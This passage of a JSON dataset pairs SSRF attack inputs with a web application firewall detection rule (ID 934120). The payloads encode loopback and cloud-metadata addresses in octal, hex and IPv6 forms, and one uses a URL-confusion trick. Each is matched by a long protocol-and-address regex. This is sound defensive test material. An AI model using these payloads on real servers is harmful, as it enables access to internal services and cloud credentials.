:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - 8-Bit Octal conversion" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=rtmp://017700000001" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - 32-Bit Octal conversion" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=gopher://0x7f000001" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - 32-Bit Hex conversion" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[a::]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, first byte full, rest compressed" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[a::b]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, first byte full, last byte full, rest compressed" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[dead:beef:dead::beef:dead:beef:dead]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, compressed in the middle" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[fe80::%zone1]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, link-local unicast with zone ID, compressed" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[fe80::dead:beef:dead:beef:dead:beef%zone1]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, link-local unicast with zone ID, full" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[0:0:0:0:0:ffff:169.254.169.254]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, IPv4 mapped" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[0:0:0:0:0:0:169.254.169.254]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, IPv4 compatible" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://google.com%3A80%20%26%40127.88.23.245%3A22%2F%23%20%40google.com%3A80%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - URL bypass, IP + domain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": 